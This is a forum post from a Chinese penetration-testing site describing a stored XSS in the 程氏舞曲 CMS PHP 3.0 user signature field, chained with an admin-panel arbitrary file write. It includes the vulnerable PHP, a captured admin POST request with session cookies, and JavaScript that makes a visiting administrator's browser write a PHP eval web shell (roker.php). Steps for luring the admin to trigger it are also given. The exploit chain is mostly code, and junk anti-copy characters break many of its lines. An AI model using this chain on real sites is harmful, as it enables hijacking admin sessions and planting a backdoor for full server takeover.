中国网络渗透测试联盟

标题: 程氏舞曲CMSPHP3.0 储存型xss getshell [打印本页]
作者: admin    时间: 2013-11-6 18:09
标题: 程氏舞曲CMSPHP3.0 储存型xss getshell
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
( q9 Z& H  Y8 N% x# y$ N官网已经修补了，所以重新下了源码3 n: D# M% Y, e2 G8 M
因为 后台登入 还需要认证码 所以 注入就没看了。
1 t: y' P: u  D2 D. w" ^存在 xss0 }0 |# d2 d- ?9 H
漏洞文件 user/member/skin_edit.php
: F4 [$ |- b- ^0 f  |' z# o本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名：  k2 F! [1 \2 D! h/ [
  
0 r% P( E5 A: E# M  F</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
' U5 k' `9 b8 Y2 T. u5 C5 d( `! C: C  
- F, P" o0 z2 L9 }! b! A9 T) R& M</textarea></td></tr>; K& U4 [- R1 s: X. s& o9 }
  
* }' i* C  P% N( |" m4 x/ H             user/do.php . G6 |) D& \+ m$ L6 }

1 l5 T' T  p, b: r# H. ?6 p5 o, `2 p$ w: H
if($op=='zl'){ //资料( P. x1 \* Z" `
  
1 l0 E' }: Z0 u9 S' B' C7 V             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) 5 y3 s9 H8 x( U- |: m; b& d9 [4 Y" {
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
8 B) s# V+ j" Y. [5 p' h# w  
* X$ V0 X5 ^4 U4 z; g* F! A3 Y& K: \             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
; r) z& a" V7 K! ?9 Y4 z6 h9 Y  d  ' S9 I3 z5 j' F* I
             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
9 ?7 H) @- C( X% N! h7 v             where CS_Name='".$cscms_name."'";
4 f) C% ^8 A; E/ ~6 L  0 c7 G2 p) B" n0 L% f5 M) \
             if($db->query($sql)){
: ^- W) l8 J# _/ J' ?" y8 `  ( H3 q) I  v4 L
              exit(Msg_Error('恭喜您，修改成功了!','javascript:history.go(-1);'));. D; G5 f. t  }2 }3 K1 c
    H0 E: K* K" I" `
             }else{+ M  |" z0 B8 }7 X* t
  
- R' c2 e" Z% l3 x              exit(Msg_Error('抱歉，修改失败了!','javascript:history.go(-1);'));
$ x- g+ N0 o# R  
# _* @5 R: O5 Y/ F/ Q             }. e  d' L% w8 `# e

3 y. ^' z+ ]3 n: y' f
& Y$ D* m! R+ ~1 N: C没有 过滤导致xss产生。# A8 o; U! K8 a3 }' F) ^
后台 看了下 很奇葩的是可以写任意格式文件。。
9 D# Y* f. t" J4 c$ s6 m抓包。。
) k1 s/ N$ j* N; E  x$ q
$ t8 o6 i5 I# J6 y  l5 H# e, F$ ^6 S- A; _& i9 y
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
) v7 @  R! N& I, a& f5 _5 D  
- a( H: P9 |! c4 Z/ x" ^6 d# dAccept: text/html, application/xhtml+xml, */*1 {; M+ w; b/ l& W: S; @
  3 R; r( ~; X# W
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php+ ?5 A& Z% |2 p$ ^9 K! y+ |
  8 X) W+ x4 |0 [9 ^+ v; |- m
Accept-Language: zh-CN
& U  ~& ^) L5 c; D! A  
* n+ n( A2 e8 ^" j$ eUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' V# }* M  L3 G3 @5 C
  $ y4 v6 e9 ^$ ?
Content-Type: application/x-www-form-urlencoded/ v+ G2 E8 ~+ A6 d6 P# ]) W# a
    @5 n4 Q4 j; `# |! ~4 M
Accept-Encoding: gzip, deflate
, E3 \* i3 k! o# l  6 G6 m3 y# d( c1 s7 ~5 h! ^+ ]: ^
Host: 127.0.0.14 Q: O! a; F& q" A* Y9 i; B
  
4 S) {! e8 P8 l1 VContent-Length: 380 M# \& ~' f+ c$ q
  
. N, Q9 {1 S8 z+ ]2 c9 @, ODNT: 1
  b* f# N* @$ @  0 g$ |+ F: j0 @& s. E/ G" t/ H
Connection: Keep-Alive
7 @* Q- l" d- P  
, v8 K% y, h5 N0 U& ?Cache-Control: no-cache- Y% C- Q$ G" H0 g6 G
  + r! ]* |  n1 P* r: _
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
; N$ f1 o: w- I; I- l. ]  
. I4 I+ o% Z1 [
: w& X3 ~. `- o, f( Pname=aaa.php&content=%3Cs%3E%3Ca%25%3E
6 ~" Y  O* ?) ^8 J$ d. B1 G# X3 M1 t6 @: Z, M) j4 p7 N* {3 I
3 E' s8 Y& B- p- [
! K/ o* l  Y6 a- C0 M: G/ M/ Z
于是 构造js如下。& v- J( u5 L. x7 w8 \
& z) I: O$ X  L$ @
本帖隐藏的内容<script>
' n& o5 ^9 f0 N9 O7 A) qthisTHost = top.location.hostname;
$ P( \0 Q6 g+ n7 Q( }: h$ V4 {; x  ) D0 F  a6 y! @) Z0 G2 @
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
9 |" @) m3 |# j6 e: \, c  
1 X% B3 j1 d1 A$ Y( m! tfunction PostSubmit(url, data, msg) { & {& ?8 [# N' f0 d* `' w! q
    var postUrl = url;
# O% y  i, ^, l7 M8 Y! V/ F  
1 G, }: A5 C+ U9 y    var postData = data; / z+ }5 n9 |  e- g1 F
    var msgData = msg;
/ @# _: i1 q- O" S" X- u* j; j    var ExportForm = document.createElement("FORM");
; _1 |- g/ I3 ~4 i7 P: R    document.body.appendChild(ExportForm); ) G9 s# B! {; ^. X
    ExportForm.method = "POST"; * [9 l- x& ~# f: N  m' n; r. U
    var newElement = document.createElement("input"); 2 E( }7 U7 q3 q
    newElement.setAttribute("name", "name");
% X3 m. b+ Q2 g& o2 O    newElement.setAttribute("type", "hidden");
* y3 J/ @' X+ p, g* H) h3 J/ F    var newElement2 = document.createElement("input"); / s& I/ D8 o) W2 T. U
    newElement2.setAttribute("name", "content");
- _$ X$ m- a: L& m4 Y. h4 F    newElement2.setAttribute("type", "hidden"); - N$ s& _( g& C
    ExportForm.appendChild(newElement); 2 V% B, T6 I7 u9 \6 D' O
    ExportForm.appendChild(newElement2);
6 T; @9 F3 u. k1 Y' E) j    newElement.value = postData; ! I' o  t: a8 I. i1 c' O+ z* K/ x
    newElement2.value = msgData; ; y+ Y3 ?  v) y/ e  \% A" n" h
    ExportForm.action = postUrl; 7 B, Z& @$ O  V
    ExportForm.submit();
9 b3 a! G, r; E7 q9 z) g3 N};# i/ _% e! U* E  U
  ) c( e% {# ]. ?9 n
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
1 }. L6 |$ ~5 _- L. k& A  8 m- O+ Z  ^' ?$ B  h" {7 H$ i
</script>1 `5 B0 A9 I/ o  i7 M: \/ m7 N

9 O, ]0 _/ _; [4 ~
: S# f# E9 x6 N8 q# B  i
* a6 U' j9 k: H  n& q) J# R4 Shttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
0 B/ i6 v' S+ s" a2 R6 a用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2（uid自己改）
% U- V  n; G* V9 L就会 在 skins\index\html\目录下生成 roker.php 一句话。
. t4 b! r" I5 h( u. c




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2